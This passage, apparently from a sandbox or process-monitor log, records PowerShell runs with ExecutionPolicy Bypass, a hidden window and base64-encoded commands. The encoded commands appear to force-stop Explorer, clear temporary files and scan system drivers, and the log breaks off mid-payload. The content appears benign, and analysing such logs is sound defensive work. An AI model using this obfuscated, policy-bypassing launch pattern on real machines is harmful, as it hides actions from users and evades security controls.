QBCAGwAQQBBAG8AQQBDAGcAQQBqAEEAQwBBAEEAVQB3AEIAMABBAEcAOABBAGMAQQBBAGcAQQBHAEUAQQBiAGcAQgBrAEEAQwBBAEEAVQBnAEIAbABBAEgATQBBAGQAQQBCAGgAQQBIAEkAQQBkAEEAQQBnAEEARgBjAEEAYQBRAEIAdQBBAEcAUQBBAGIAdwBCADMAQQBIAE0AQQBJAEEAQgBGAEEASABnAEEAYwBBAEIAcwBBAEcAOABBAGMAZwBCAGwAQQBIAEkAQQBJAEEAQQBvAEEARQA4AEEAYwBBAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBwAEEAQQBvAEEAVQB3AEIAMABBAEcAOABBAGMAQQBBAHQAQQBGAEEAQQBjAGcAQgB2AEEARwBNAEEAWgBRAEIAegBBAEgATQBBAEkAQQBBAHQAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEASQBBAEIAbABBAEgAZwBBAGMAQQBCAHMAQQBHADgAQQBjAGcAQgBsAEEASABJAEEASQBBAEEAdABBAEUAWQBBAGIAdwBCAHkAQQBHAE0AQQBaAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEASwBBAEYATQBBAGQAQQBCAGgAQQBIAEkAQQBkAEEAQQB0AEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBJAEEAQgBsAEEASABnAEEAYwBBAEIAcwBBAEcAOABBAGMAZwBCAGwAQQBIAEkAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAEsAQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFMAQQBCAHYAQQBIAE0AQQBkAEEAQQBnAEEAQwBJAEEAUABRAEMAQQBBAEQAMABBAEoAUQBBAGcAQQBFAFEAQQBSAFEAQgBGAEEARgBBAEEASQBBAEIARABBAEUAdwBBAFIAUQBCAEIAQQBFADQAQQBVAHcAQgBGAEEAQwBBAEEAUQB3AEIAUABBAEUAMABBAFUAQQBCAE0AQQBFAFUAQQBWAEEAQgBGAEEAQwA0AEEASQBBAEIAQgBBAEcAdwBBAGIAQQBBAGcAQQBHAG8AQQBkAFEAQgB1AEEARwBzAEEATABBAEEAZwBBAEgAUQBBAGMAZwBCAGgAQQBHAE0AQQBhAHcAQgBsAEEASABJAEEAYwB3AEEAcwBBAEMAQQBBAFkAUQBCAHUAQQBHAFEAQQBJAEEAQgAwAEEARwBVAEEAYgBRAEIAdwBBAEcAOABBAGMAZwBCAGgAQQBIAEkAQQBlAFEAQQBnAEEARwBZAEEAYQBRAEIAcwBBAEcAVQBBAGMAdwBBAGcAQQBFAFUAQQBVAGcAQgBCAEEARQBRAEEAUwBRAEIARABBAEUARQBBAFYAQQBCAEYAQQBFAFEAQQBMAGcAQQBpAEEAQwBBAEEATABRAEIARwBBAEcAOABBAGMAZwBCAGwAQQBHAGMAQQBjAGcAQgB2AEEASABVAEEAYgBnAEIAawBBAEUATQBBAGIAdwBCAHMAQQBHADgAQQBjAGcAQQBnAEEARgBJAEEAWgBRAEIAawBBAEEAPQA9ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA=="
  2⤵
  PID:5412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACAAIABTAE8AQwAtAEMATwBSAEUAIABEAEUARQBQACAARABSAEkAVgBFAFIAIABTAEMAQQBOAE4ARQBSACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAKACAAIAAgACAAIAAgACMAIAAxAC4AIABBBi0GNQYgACwGRQZKBjkGIAAnBkQGKgY5BicGMQZKBkEGIAAnBkQGRQYrBigGKgYpBgoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAYABuAFsAMQBdACAASQBuAHMAdABhAGwAbABlAGQAIABEAHIAaQB2AGUAcgBzADoAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABZAGUAbABsAG8AdwAKACAAIAAgACAAIAAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBQAG4AUABTAGkAZwBuAGUAZABEAHIAaQB2AGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAARABlAHYAaQBjAGUATgBhAG0AZQAsACAARAByAGkAdgBlAHIAVgBlAHIAcwBpAG8AbgAsACAARAByAGkAdgBlAHIARABhAHQAZQAsACAASQBzAFMAaQBnAG4AZQBkACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAALQBBAHUAdABvAFMAaQB6AGUACgAKACAAIAAgACAAIAAgACMAIAAyAC4AIABBBi0GNQYgACcGRAYjBiwGRwYyBikGIAAnBkQGKgZKBiAAKAZHBicGIABFBjQGJwZDBkQGIAAoACoGOQYnBjEGSgZBBiAARQZBBkIGSAYvBikGIAAjBkgGIAAqBicGRAZBBikGKQAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAGAAbgBbADIAXQAgAFAAcgBvAGIAbABlAG0AIABEAGUAdgBpAGMAZQBzACAAKABNAGkAcwBzAGkAbgBnAC8AQwBvAHIAcgB1AHAAdABlAGQAIABEAHIAaQB2AGUAcgBzACkAOgAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFIAZQBkAAoAIAAgACAAIAAgACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAbgBQAEUAbgB0AGkAdAB5ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEMAbwBuAGYAaQBnAE0AYQBuAGEAZwBlAHIARQByAHIAbwByAEMAbwBkAGUAIAAtAG4AZQAgADAAIAB9ACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIABOAGEAbQBlACwAIABEAGUAdgBpAGMAZQBJAEQALAAgAEMAbwBuAGYAaQBnAE0AYQBuAGEAZwBlAHIARQByAHIAbwByAEMAbwBkAGUAIAB8ACAARgBvAHIAbQBhAHQALQBMAGkAcwB0AAoACgAgACAAIAAgACAAIAAjACAAMwAuACAAQQYtBjUGIAAnBkQGKgYtBi8GSgYrBicGKgYgACcGRAZFBioGJwYtBikGIAA5BigGMQYgAFcAaQBuAGQAbwB3AHMAIABVAHAAZABhAHQAZQAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAGAAbgBbADMAXQAgAEMAaABlAGMAawBpAG4AZwAgAFcAaQBuAGQAbwB3AHMAIABVAHAAZABhAHQAZQAgAGYAbwByACAARAByAGkAdgBlAHIAIABVAHAAZABhAHQAZQBzAC4ALgAuACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAWQBlAGwAbABvAHcACgAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAUwBlAHMAcwBpAG8AbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAE0AaQBjAHIAbwBzAG8AZgB0AC4AVQBwAGQAYQB0AGUALgBTAGUAcwBzAGkAbwBuAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAFMAZQBhAHIAYwBoAGUAcgAgAD0AIAAkAFMAZQBzAHMAaQBvAG4ALgBDAHIAZQBhAHQAZQBVAHAAZABhAHQAZQBTAGUAYQByAGMAaABlAHIAKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAEMAcgBpAHQAZQByAGkAYQAgAD0AIAAiAEkAcwBJAG4AcwB0AGEAbABsAGUAZAA9ADAAIABhAG4AZAAgAFQAeQBwAGUAPQAnAEQAcgBpAHYAZQByACcAIgAKACAAIAAgACAAIAAgACAAIAAgACAAJABTAGUAYQByAGMAaABSAGUAcwB1AGwAdAAgAD0AIAAkAFMAZQBhAHIAYwBoAGUAcgAuAFMAZQBhAHIAYwBoACgAJABDAHIAaQB0AGUAcgBpAGEAKQAKACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAFMAZQBhAHIAYwBoAFIAZQBzAHUAbAB0AC4AVQBwAGQAYQB0AGUAcwAuAEMAbwB1AG4AdAAgAC0AZwB0ACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBGAG8AdQBuAGQAIAAkACgAJABTAGUAYQByAGMAaABSAGUAcwB1AGwAdAAuAFUAcABkAGEAdABlAHMALgBDAG8AdQBuAHQAKQAgAGQAcgBpAHYAZQByACAAdQBwAGQAYQB0AGUAcwA6ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAGQAYQB0AGUAIABpAG4AIAAkAFMAZQBhAHIAYwBoAFIAZQBzAHUAbAB0AC4AVQBwAGQAYQB0AGUAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACAAIAAtACAAJAAoACQAVQBwAGQAYQB0AGUALgBUAGkAdABsAGUAKQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAE4AbwAgAGQAcgBpAHYAZQByACAAdQBwAGQAYQB0AGUAcwAgAGYAbwB1AG4AZAAgAHYAaQBhACAAVwBpAG4AZABvAHcAcwAgAFUAcABkAGEAdABlACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAARwByAGUAZQBuAAoAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFMAawBpAHAAcABlAGQAIABXAGkAbgBkAG8AdwBzACAAVQBwAGQAYQB0AGUAIABzAGUAcgB2AGUAcgAgAGwAbwBvAGsAdQBwACAAKABzAGUAcgB2AGkAYwBlACAAbQBhAHkAIABiAGUAIABvAGYAZgBsAGkAbgBlAC8AZABpAHMAYQBiAGwAZQBkACkAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABHAHIAYQB5AAoAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIwAgADQALgAgAEEGLQY1BiAAKgZIBicGMQZKBi4GIAAnBkQGKgY5BicGMQZKBkEGIAAoACcGRAZCBi8GSgZFBikGIAAsBi8GJwZLBikACgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBgAG4AWwA0AF0AIABEAHIAaQB2AGUAcgBzACAATwBsAGQAZQByACAAVABoAGEAbgAgADIAIABZAGUAYQByAHMAIAAoAFAAbwB0AGUAbgB0AGkAYQBsACAAVQBwAGQAYQB0AGUAcwAgAE4AZQBlAGQAZQBkACkAOgAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFkAZQBsAGwAbwB3AAoAIAAgACAAIAAgACAAJABvAGwAZABEAHIAaQB2AGUAcgBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBQAG4AUABTAGkAZwBuAGUAZABEAHIAaQB2AGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBEAHIAaQB2AGUAcgBEAGEAdABlACAALQBsAHQAIAAoAEcAZQB0AC0ARABhAHQAZQApAC4AQQBkAGQAWQBlAGEAcgBzACgALQAyACkAIAB9AAoAIAAgACAAIAAgACAAaQBmACAAKAAkAG8AbABkAEQAcgBpAHYAZQByAHMAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAbwBsAGQARAByAGkAdgBlAHIAcwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAARABlAHYAaQBjAGUATgBhAG0AZQAsACAARAByAGkAdgBlAHIAVgBlAHIAcwBpAG8AbgAsACAARAByAGkAdgBlAHIARABhAHQAZQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAC0AQQB1AHQAbwBTAGkAegBlAAoAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBOAG8AIABzAGkAZwBuAGkAZgBpAGMAYQBuAHQAbAB5ACAAbwB1AHQAZABhAHQAZQBkACAAZAByAGkAdgBlAHIAcwAgAGYAbwB1AG4AZAAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEcAcgBlAGUAbgAKACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACMAIAA1AC4AIABBBi0GNQYgACUGNQYvBicGMQYnBioGIABFBkIGJwYoBkQGIABCBicGOQYvBikGIAAoBkoGJwZGBicGKgYgAEUGLQZEBkoGKQYKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAGAAbgBbADUAXQAgAEMAcgBpAHQAaQBjAGEAbAAgAEQAcgBpAHYAZQByAHMAIABTAHQAYQB0AHUAcwA6ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAATQBhAGcAZQBuAHQAYQAKAAoAIAAgACAAIAAgACAAIwAgAEcAUABVACAARAByAGkAdgBlAHIAcwAgACgATgBWAEkARABJAEEALwBBAE0ARAAvAEkAbgB0AGUAbAApAAoAIAAgACAAIAAgACAAJABnAHAAdQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AVgBpAGQAZQBvAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAE4AYQBtAGUALAAgAEQAcgBpAHYAZQByAFYAZQByAHMAaQBvAG4ACgAgACAAIAAgACAAIABpAGYAIAAoACQAZwBwAHUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAcgBhAHAAaABpAGMAcwAgAEQAcgBpAHYAZQByADoAIAAkACgAJABnAHAAdQAuAE4AYQBtAGUAKQAgAC0AIABWAGUAcgBzAGkAbwBuACAAJAAoACQAZwBwAHUALgBEAHIAaQB2AGUAcgBWAGUAcgBzAGkAbwBuACkAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIwAgAE4AZQB0AHcAbwByAGsAIABEAHIAaQB2AGUAcgBzAAoAIAAgACAAIAAgACAAJABuAGkAYwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATgBlAHQAdwBvAHIAawBBAGQAYQBwAHQAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE4AZQB0AEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACQAdAByAHUAZQAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAIAAgAGkAZgAgACgAJABuAGkAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAJABuAGkAYwBEAHIAaQB2AGUAcgAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUABuAFAAUwBpAGcAbgBlAGQARAByAGkAdgBlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ARABlAHYAaQBjAGUATgBhAG0AZQAgAC0AbABpAGsAZQAgACIAKgAkACgAJABuAGkAYwAuAE4AYQBtAGUAKQAqACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAbgBpAGMARAByAGkAdgBlAHIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIATgBlAHQAdwBvAHIAawAgAEQAcgBpAHYAZQByADoAIAAkACgAJABuAGkAYwBEAHIAaQB2AGUAcgAuAEQAcgBpAHYAZQByAFYAZQByAHMAaQBvAG4AKQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgACAAIAAjACAAQQB1AGQAaQBvACAARAByAGkAdgBlAHIAcwAKACAAIAAgACAAIAAgACQAYQB1AGQAaQBvACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBTAG8AdQBuAGQARABlAHYAaQBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAIAAgAGkAZgAgACgAJABhAHUAZABpAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAYQB1AGQAaQBvAEQAcgBpAHYAZQByACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBQAG4AUABTAGkAZwBuAGUAZABEAHIAaQB2AGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBEAGUAdgBpAGMAZQBOAGEAbQBlACAALQBlAHEAIAAkAGEAdQBkAGkAbwAuAE4AYQBtAGUAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAYQB1AGQAaQBvAEQAcgBpAHYAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEEAdQBkAGkAbwAgAEQAcgBpAHYAZQByADoAIAAkACgAJABhAHUAZABpAG8ARAByAGkAdgBlAHIALgBEAHIAaQB2AGUAcgBWAGUAcgBzAGkAbwBuACkAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIwAgADYALgAgADEGJwYoBjcGIAAqBi0GRQZKBkQGIAAjBi0GLwYrBiAAJwZEBioGOQYnBjEGSgZBBiAARQZGBiAAJwZEBkUGSAYnBkIGOQYgACcGRAYxBjMGRQZKBikGCgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBgAG4APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAATwBGAEYASQBDAEkAQQBMACAARABSAEkAVgBFAFIAIABEAE8AVwBOAEwATwBBAEQAIABMAEkATgBLAFMAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABHAHIAZQBlAG4ACgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKAAoAIAAgACAAIAAgACAAJABtAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtACkALgBNAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFkAbwB1AHIAIABQAEMAIABNAGEAbgB1AGYAYQBjAHQAdQByAGUAcgA6ACAAJABtAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFkAZQBsAGwAbwB3AAoACgAgACAAIAAgACAAIABpAGYAIAAoACQAbQBhAG4AdQBmAGEAYwB0AHUAcgBlAHIAIAAtAGwAaQBrAGUAIAAiACoARABlAGwAbAAqACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEQAZQBsAGwAIABEAHIAaQB2AGUAcgBzADoAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAGUAbABsAC4AYwBvAG0ALwBzAHUAcABwAG8AcgB0ACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAAIAAgAH0AIABlAGwAcwBlAGkAZgAgACgAJABtAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAgAC0AbABpAGsAZQAgACIAKgBIAFAAKgAiACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBIAFAAIABEAHIAaQB2AGUAcgBzADoAIABoAHQAdABwAHMAOgAvAC8AcwB1AHAAcABvAHIAdAAuAGgAcAAuAGMAbwBtACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAAIAAgAH0AIABlAGwAcwBlAGkAZgAgACgAJABtAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAgAC0AbABpAGsAZQAgACIAKgBMAGUAbgBvAHYAbwAqACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEwAZQBuAG8AdgBvACAARAByAGkAdgBlAHIAcwA6ACAAaAB0AHQAcABzADoALwAvAHMAdQBwAHAAbwByAHQALgBsAGUAbgBvAHYAbwAuAGMAbwBtACIAIAAtAEYAbwByAGUAZwByAG8AdQBuAGQAQwBvAGwAbwByACAAQwB5AGEAbgAKACAAIAAgACAAIAAgAH0AIABlAGwAcwBlAGkAZgAgACgAJABtAGEAbgB1AGYAYQBjAHQAdQByAGUAcgAgAC0AbABpAGsAZQAgACIAKgBBAFMAVQBTACoAIgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQQBTAFUAUwAgAEQAcgBpAHYAZQByAHMAOgAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAcwB1AHMALgBjAG8AbQAvAHMAdQBwAHAAbwByAHQAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAaQBmACAAKAAkAG0AYQBuAHUAZgBhAGMAdAB1AHIAZQByACAALQBsAGkAawBlACAAIgAqAEEAYwBlAHIAKgAiACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBBAGMAZQByACAARAByAGkAdgBlAHIAcwA6ACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBjAGUAcgAuAGMAbwBtAC8AcwB1AHAAcABvAHIAdAAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEcAZQBuAGUAcgBpAGMAIABEAHIAaQB2AGUAcgAgAFMAbwB1AHIAYwBlAHMAOgAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFkAZQBsAGwAbwB3AAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAATgBWAEkARABJAEEAIABHAFAAVQA6ACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbgB2AGkAZABpAGEALgBjAG8AbQAvAEQAbwB3AG4AbABvAGEAZAAvAGkAbgBkAGUAeAAuAGEAcwBwAHgAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAAQQBNAEQAIABHAFAAVQA6ACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBtAGQALgBjAG8AbQAvAGUAbgAvAHMAdQBwAHAAbwByAHQAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAASQBuAHQAZQBsADoAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBpAG4AdABlAGwALgBjAG8AbQAvAGMAbwBuAHQAZQBuAHQALwB3AHcAdwAvAHUAcwAvAGUAbgAvAHMAdQBwAHAAbwByAHQALwBkAGUAdABlAGMAdAAuAGgAdABtAGwAIgAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABDAHkAYQBuAAoAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAgACAAUgBlAGEAbAB0AGUAawA6ACAA